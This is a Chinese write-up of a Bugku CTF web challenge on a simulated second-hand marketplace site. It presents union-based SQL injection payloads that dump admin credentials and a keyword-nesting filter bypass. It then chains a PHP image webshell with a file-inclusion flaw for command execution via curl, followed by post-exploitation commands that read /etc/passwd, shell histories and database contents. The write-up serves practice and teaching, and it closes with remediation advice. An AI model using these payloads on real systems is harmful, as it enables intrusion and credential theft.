
1. 项目概述与核心思路拿到“Bugku-xxx二手交易市场-ctf练习不用菜刀蚁剑”这个标题的时候我第一反应是这道题对新手来说既是一道很友好的入门级Web综合题又是一道很考验耐心的题。为什么这么说因为它把电商交易的几个典型场景都塞进了一个模拟站点里你不需要去猜什么偏门漏洞反而要在一些很常规的功能点上下功夫比如搜索框、商品详情、个人中心甚至后台入口。这种设计思路其实很贴近真实渗透测试的节奏因为现实中很多业务站点并没有那么多花里胡哨的漏洞真正的突破口往往就藏在这些不起眼的交互功能里。标题里特别强调“不用菜刀蚁剑”这一点值得聊一下。菜刀、蚁剑这类工具本质上是WebShell连接管理工具当你已经拿到一个可以执行命令的入口之后用它们来管理服务器确实方便。但CTF练习的核心目标是让你理解漏洞成因和利用链而不是考验你工具熟练度。很多初学者在拿到一个webshell之后会习惯性地打开蚁剑去连一下反而忽略了最关键的环节这个shell是怎么来的、命令执行能力是哪里来的。一旦脱离工具很多人会发现自己对HTTP请求的理解其实是碎片化的。所以这篇文章我打算用一个完整的实操视角来拆解这道题。我会从信息收集、漏洞发现、手工构造请求、再到利用链打通一步步带你把整个流程走下来。整个过程不依赖任何图形化的WebShell管理工具而是通过浏览器开发者工具、命令行终端、简单的Python脚本和手工构造的HTTP报文来完成。这样做的最大好处是你可以在每一步都清楚地看到——数据是怎么流的、参数是怎么传的、服务端是怎么解析的。这道题适合什么人群呢如果你正在学Web安全已经会一点SQL注入和PHP代码审计的基础但还没有完整地独立打通一个综合靶场那这道题是非常好的练手对象。如果你是CTF新手想体验一把“一个人搞定一个站点”的成就感这道题同样能让你收获很多细节上的认知。当然如果你是个老手也可以试着猜一猜出题人在哪些地方埋了坑——说实话这道题有些陷阱设计得还挺鸡贼的。2. 信息收集与资产梳理2.1 入口页面与功能点盘点做题的第一步永远不是直接上去乱试注入而是先捋清楚这个二手交易市场到底提供了哪些功能页面、每个页面对应了哪些后端逻辑。这种方式用行业黑话讲就是“梳理攻击面”。我通常的习惯是先把首页、登录页、注册页、商品列表页、商品详情页、个人中心、后台登录入口全部访问一遍记录下来每个URL对应的功能。这道模拟站点整体布局是一个典型的电商网站结构顶部有搜索框中间是商品推荐列表右侧有用户登录注册入口底部是备案信息和后台管理入口链接。商品列表页支持分页商品详情页可以出价或者留言。用户注册后会进入个人中心里面有我发布的商品、我收到的留言、修改个人资料等功能模块。我打开开发者工具把所有的请求都过了一遍重点关注几个地方URL参数、POST请求体、Cookie字段和响应头信息。很快发现商品列表页的URL里有一个page参数而且是通过GET方法传递的形如GET /index.php?page2 HTTP/1.1商品详情页的URL是GET /goods.php?id15 HTTP/1.1这种带数字参数的URL值得高度关注因为它极大概率存在注入点。搜索框的请求也很有意思它并不是POST到服务器而是通过GET方式把keyword参数拼接在URL里比如GET /search.php?keywordiphone HTTP/1.12.2 后台入口与robots.txt的意外发现访问一下robots.txt是信息收集阶段的常规操作很多时候不会有什么发现但偶尔会有惊喜。这个站点的robots.txt确实埋了点东西User-agent: * Disallow: /admin Disallow: /backup看到/backup这个路径我第一反应是可能有源码备份或数据库备份文件。但直接访问/backup返回的是403 Forbidden说明目录存在但禁止直接列目录这反而更让人好奇里面到底放了什么。再尝试常见的备份文件名backup.zip、backup.sql、web.zip最终在/backup/site_backup.zip路径下成功下载到了一个压缩包。解压之后整个站点的源码就全部暴露了。这一步在CTF里其实算一个比较友好的提示因为这相当于出题人主动把源码送给你看省去了一大半黑盒猜谜的时间。2.3 源码审阅的起点全局入口与配置文件拿到源码后我先看目录结构重点关注几个文件入口文件、配置文件、公共函数文件、数据库连接文件。这个站点的入口是index.php所有的请求都会通过它来分发到对应的功能模块。数据库配置文件里面写了数据库地址、账号、密码、数据库名但密码是加密存储的。虽然没有拿到数据库明文密码但知道了数据库结构这对后面构造payload有非常大的帮助。公共函数文件里封装了数据库查询函数、安全过滤函数、用户会话校验函数我接下来说的关键点全在这些函数里。这里插一句看源码的时候不要从头到尾傻看先梳理核心调用关系再针对每个功能模块去反追踪参数是否经过了过滤函数。这个思路比一行行读代码效率高很多也更容易发现逻辑漏洞。3. 漏洞挖掘与利用链分析3.1 数据库查询层的过滤规则观察拿到源码之后我直接去翻数据库查询相关的函数。这是一个典型的面向过程风格的PHP站点数据库层封装了若干个函数比如执行普通查询的query()、执行单行查询的fetch_one()、执行多行查询的fetch_all()等等。重点在于SQL语句的拼接方式。让我印象很深的是其中有个模块在拼接SQL时直接用了双引号包变量而且只针对部分特殊字符做了替换替换逻辑长这样$keyword str_replace(array(select, union, order, and, or), , strtolower($keyword));这里有个非常经典的绕过手法它只替换了一次而且是大小写不敏感的替换。也就是说如果传入的关键字是SELSELECTECT这种嵌套写法经过一次替换后会变成SELECT而原本的过滤条件就被绕过了。这种“单次替换可嵌套”的缺陷在真实代码里出镜率很高。更令人意外的是还有另外一处查询接口完全没有经过任何过滤就直接拼接了数值类型的参数只在代码里写了个判断如果不是数字就弹窗报错。这个判断看起来像是做了防护但实际上PHP的弱类型比较在这里会出问题。如果传入的是1 and 11这种以数字开头、后面跟其他内容的字符串is_numeric()检查根本管不住它。这就相当于给SQL注入开了绿灯。3.2 注入点确认与手工验证既然源码已经告诉我哪里可能是注入点那我就不客气了。先拿商品详情页的id参数试一下。正常请求GET /goods.php?id15 HTTP/1.1页面正常返回了商品信息。改成GET /goods.php?id15 HTTP/1.1页面报错而且错误信息直接回显在了页面上数据库类型的报错信息暴露无遗。再构造一个合法但带逻辑的请求GET /goods.php?id15 and 11 HTTP/1.1返回正常。换成GET /goods.php?id15 and 12 HTTP/1.1页面返回空内容。到这一步基本可以断定为数字型注入而且回显正常可以直接走联合查询注入。这里我特别说明一下为什么手工测试比直接用sqlmap更有价值。当你手工构造and 11和and 12去对比响应差异的时候你是在真实地感受服务端对输入的处理方式。这种经验积累多了以后再看那些WAF绕过技巧、字符集陷阱之类的东西你会理解得更透彻。3.3 联合查询注入字段数量与回显位置数字型注入直接上联合查询第一步是猜字段数量。用GET /goods.php?id15 order by 3 HTTP/1.1页面正常。改成GET /goods.php?id15 order by 4 HTTP/1.1页面报错说明当前查询只有3个字段。下一步确认回显位置。构造GET /goods.php?id15 and 12 union select 1,2,3 HTTP/1.1页面上出现了数字2和3。说明第2和第3个字段会直接回显在页面上。这个信息太关键了因为接下来所有数据都从这两个位置往外带。我继续爆数据库名GET /goods.php?id15 and 12 union select 1,database(),3 HTTP/1.1得到数据库名称是shop。再爆数据表GET /goods.php?id15 and 12 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() HTTP/1.1表名一览无余里面有几个关键表users、goods、orders、admin。admin表显然最吸引人直接看一下它的字段结构GET /goods.php?id15 and 12 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameadmin HTTP/1.1结果里就有username和password。直接把数据拖出来GET /goods.php?id15 and 12 union select 1,group_concat(username,0x3a,password),3 from admin HTTP/1.1拿到了后台管理员的用户名和密码哈希。密码哈希是MD5格式的我用在线平台解出来之后发现是明文密码的一部分对照着源码里的加密逻辑确认了完整的登录凭证。到这里后台登录可以说已经是囊中之物。3.4 搜索框的二次注入利用商品详情页的注入解决了后台入口的问题但搜索框这边还有一个独立的风险点。它出现在搜索逻辑里是把用户输入的关键字直接拼接到LIKE查询中过滤函数先转小写再替换危险词但存在嵌套绕过的空间。默认情况下的拼接语句长这样$sql select * from goods where name like %$keyword%;如果我搜索的关键字是% and 11 union select 1,2,3 from admin -- 经过一次替换后里面的union会被删掉但注意union这个单词被删掉之后前后的字符会拼在一起。如果我写入的是ununionion删除中间的union之后剩下的恰好就是union。所以最终的SQL语句里就会存在一个合法的union关键字。这个手法叫“关键字嵌套绕过”在CTF题目里出现频率很高但我必须提醒一句实际真实站点很少会有这种简单的过滤逻辑因为现代开发框架普遍使用预处理语句这个坑主要还是练习用。4. 文件上传与WebShell获取4.1 后台文件上传功能剖析用之前搞到的管理员账号登录后台之后我看到了一个商品图片上传功能。这个功能往往是最容易出问题的地方因为文件上传涉及服务器端对文件类型、文件内容、文件存储路径的解析逻辑任何一个环节没处理好都会被利用。上传表单长这样form actionupload.php methodpost enctypemultipart/form-data input typefile namefile input typesubmit valueupload /form返回的是上传后的文件路径。源码里对上传文件做了后缀名白名单校验只允许jpg、png、gif这三种格式。看起来没问题但出题人在这里藏了一个非常经典的逻辑漏洞——它只校验了文件名后缀完全没有校验文件内容。更关键的是保存文件的时候新文件名是直接用当前时间戳拼上原始后缀生成的。这意味着我可以传一个内容为PHP代码的文件后缀命名为.jpg然后想办法让服务器以PHP脚本的方式去解析它。4.2 绕过前方校验的两种思路既然后缀被限制为图片格式我的第一个思路是找解析漏洞。如果上传目录里存在一个.htaccess文件而这个.htaccess内容由我们控制那就可以让.jpg文件被当作PHP解析。但这道题的服务器配置并不允许上传.htaccess文件因为上传文件的后缀是直接拼接时间戳根本轮不到你控制文件名。这条路走不通。第二个思路是找文件包含点。如果网站存在一个文件包含漏洞那我上传的图片马内容为PHP代码的图片文件就可以通过包含来执行。源码里确实有一个下载附件的功能它接收一个文件名参数然后从服务器上读取文件并输出。这看起来不像是包含但如果它在输出前用include关键字引入文件内容那本质上就构成了文件包含。我仔细读了一下代码发现这个模块竟然真的直接用include引入用户可控的文件名而且没有任何过滤。这个发现意味着我不需要费尽心思去绕过图片后缀校验直接上传一个内容为?php eval($_POST[cmd]); ?的jpg图片然后再通过文件包含点去include这个图片文件PHP代码就会被解析执行。看到这里我脑子里冒出来的念头是这道题出得确实有点意思它的每一步漏洞单看都很常规但组合起来却形成了一条非常漂亮的利用链。4.3 不依赖WebShell管理工具的连接方式整个过程中我自始至终没有打开蚁剑或者菜刀。那怎么去验证上传的代码有没有执行成功呢我的做法是构造一个简单的数据包用POST请求向包含点发送参数。首先上传一个图片马文件名是shell.jpg内容?php echo upload ok; ?然后访问包含点GET /download.php?file./upload/shell.jpg HTTP/1.1页面输出了一行字upload ok。这说明代码执行成功。接下来升级一下让图片马接受一个POST参数?php $cmd$_POST[cmd]; echo shell_exec($cmd); ?再用curl工具发送POST请求curl -d cmdwhoami http://127.0.0.1/download.php?file./upload/shell.jpg服务器返回了当前的系统用户。到这一步命令执行能力已经完全掌握了。没有蚁剑没有菜刀就凭一个curl命令、一个开发者工具整个链路完全手工打通。用这种方式每一步操作都能看到原始HTTP请求和响应没有工具帮你封装和隐藏细节。对于练习者来说这才是最扎实的训练方式。我的建议是CTF练习阶段尤其是在打这类模拟题的时候前端到后端的所有交互都应该通过肉眼可见的方式去验证和理解而不是把所有操作交给工具去黑盒处理。5. 命令执行与内网信息收集5.1 从命令执行到目录遍历拿到命令执行之后第一步不是盲目去读flag而是先看清自己站在哪里。通过pwd命令我确认了当前工作目录就是网站根目录。再用ls -la列出网站目录下的所有文件这时候可以看到之前源码里看到的那些PHP文件都在。按CTF的常见套路flag文件一般会放在比较隐蔽的位置可能是根目录下的flag.txt可能是数据库里的某个表也可能是在环境变量里。我在当前目录下没看到flag文件于是用find / -name *flag* 2/dev/null命令去搜一下整个文件系统。搜索花了一点时间最终在/tmp/flag.txt路径下找到了flag文件。直接cat /tmp/flag.txt就出来了。整个解题过程到这里就可以画上句号了。5.2 常规的内网探测清单继续深挖一下这里分享一下拿到命令执行权限之后我一般会按什么顺序去做内网信息收集。这不是必须的步骤但对理解真实攻击链很有帮助。第一查看当前系统用户和权限id; whoami; cat /etc/passwd第二查看网络连接和对外开放的端口netstat -anltp; cat /etc/hosts第三查看历史命令记录cat ~/.bash_history /root/.bash_history第四查看是否有其他备份文件或数据库账密find / -name *.bak -o -name *.sql -o -name *.zip 2/dev/null这些都是非常基础的操作。如果是在真实授权测试场景这些信息往往会成为后续横向移动的起点。而在CTF里它们的作用更多是帮助你理解一台服务器被入侵后的真实面貌——哪些文件被遗留了、哪些配置藏着敏感信息、哪些服务暴露出不该暴露的接口。5.3 数据库信息的进一步利用之前从源码里已经拿到了数据库的连接信息但密码是被加密的。有了命令执行权限之后我读取了网站的配置文件发现数据库密码就以明文形式存储在配置文件里。这种情况在CTF模拟站点里很常见因为它想贴近真实环境的开发习惯而在真实世界里大量中小型站点的确把数据库密码直接写在配置文件里上线的。我尝试通过命令行连接数据库mysql -u root -ppassword -e show databases;成功连接上了。然后mysql -u root -ppassword -e select * from shop.admin;这里面的内容和之前SQL注入拖出来的数据是一致的算是验证了整个利用链的正确性。这里我多说一句很多初学者在做题的时候拿到flag就觉得自己通关了从来不去复盘整个攻击链中哪些步骤是冗余的、哪些判断是错误的。这种习惯一定要改。每一次练习都应该像真实项目一样去复盘记录哪些操作没用、哪些地方卡住了、为什么卡住了。这比多刷五道题都管用。6. 常见问题与排查经验实录6.1 遇到注入点却无回显做注入题的时候最烦的情况就是payload发过去服务端没有任何反应。我在做这道题的时候也试过几次最开始商品详情的id参数如果没有加注释符后面的内容就会导致SQL语法报错但因为没有在页面里看到SQL错误信息我还一度以为这个点不存在注入。后来在源码里看到错误信息是需要开启调试模式才会输出的这提醒了我一个关键经验源码审计的作用不仅在于找漏洞更在于帮你确认漏洞的触发条件。如果你在实弹演练中遇到类似情况先用经典的单引号和布尔条件去对比响应差异这是最朴素的判断方法。别一上来就上sqlmap有时候工具反而会掩盖问题。如果工具跑不出来你都不知道是参数问题还是注入类型问题而手工判断你就知道问题出在哪。6.2 文件内容被强制下载而非执行我之前提到过包含点的问题。如果下载模块用的是file_get_contents()加header(Content-Type: application/octet-stream)这种写法那它只能实现下载不能实现代码执行。这取决于它到底是怎么实现文件输出的。我在源码里发现它是一个include调用才确定文件包含可行。如果你在做其他题目时遇到了强制下载的情况那就需要再找找其他文件包含点或者考虑上传其他格式的WebShell来打解析漏洞。6.3 图片马上传成功但访问404有时候图片马确实上传了返回的路径也对但当你去访问这个路径时服务器报了404。这种情况大概率是存储路径拼接的问题上传目录可能是相对于项目子目录的而不是相对于网站根目录的。我在这个站点里也遇到过类似的情况返回的上传路径是./upload/xxx.jpg但实际文件被保存到了/var/www/html/upload/xxx.jpg而我的包含点拼的是/download.php?file./upload/xxx.jpg这种相对路径在URL里解析时基于的基准路径不同就会导致找不到文件。解决办法是不要依赖返回的相对路径直接通过命令执行权限找到文件的实际绝对路径然后用绝对路径去包含。这一点在做任何文件包含题的时候都是通用的经验。6.4 手工构造请求时的URL编码问题很多人手工发POST请求时会忽略URL编码问题。尤其是POST的参数里如果包含中文、空格、特殊符号比如单引号和括号都需要进行URL编码否则服务端解析会出问题。我用curl测试的时候也遇到过这种情况直接发送cmdsystem(cat /tmp/flag.txt);这样的参数字符串因为包含了单引号和分号服务端有时会无法正确解析。解决的办法就是先把载荷做一次URL编码curl -d cmdsystem(cat%20/tmp/flag.txt); http://127.0.0.1/download.php?file./upload/shell.jpg7. 实操心得与进阶思考这道题打完之后说实话我对它的评价还挺高的。它没有堆砌特别复杂的漏洞但每一步都做得很扎实SQL注入是数字型联合查询搜索框是关键字嵌套绕过文件上传是白名单后缀限制配合的文件包含点又是直接include用户可控文件名。每一条利用链单独拿出来都是入门级的考点但组合起来就需要你有全局思维能够把一个个孤立的漏洞串联成一个完整的攻击链。我在实际做这道题的过程中最大的体会是“不用菜刀蚁剑”这个要求真不是故意为难人。当你亲手通过curl把命令发过去亲眼看到服务器返回执行结果的时候你才真正理解了WebShell的本质——它不是一个神秘的图形化工具本质上就是一段接受指令并执行指令的脚本。工具的便利性反而让很多人忽略了这一点导致一换环境就不会用了。如果你想在这个基础上继续进阶我建议你做三个方向的事情第一重新用脚本语言实现这条攻击链。我后来用Python写了一个小脚本自动完成注入、登录、上传、包含、执行命令的全流程。这个过程会让你更深刻地理解每一步的HTTP交互细节尤其是会话保持和参数传递的部分。第二尝试修复这个站点的所有漏洞。动手把过滤函数补齐、把SQL语句改成预处理方式、把文件包含点改成文件路径白名单校验、把上传校验改成内容检查加随机文件名。你修复完再回头去看攻击链会发现自己对漏洞成因的理解上升了一个层次。第三熟悉各类数据库的注入语法差异。这道题用的是MySQL但你完全可以自己在本地搭建一个PostgreSQL或SQLite的模拟环境把同样的注入手法迁移过去试试。很多人在MySQL里玩得很溜一换数据库就懵原因就是只记了语句没有理解数据库本身的工作机制。最后再分享一个小技巧做题过程中把每一次成功的payload按“漏洞类型参数位置触发条件”记录在本地笔记里形成自己的payload字典。这个东西在CTF赛场上极其好用因为很多经典payload是相通的你记录得越细赛场上临场构造的速度就越快。我在实战中发现那些真正高水平的选手未必比普通人知道更多攻击方式但他们一定更清楚什么条件下用哪种方式打最稳。这就是复盘的力量。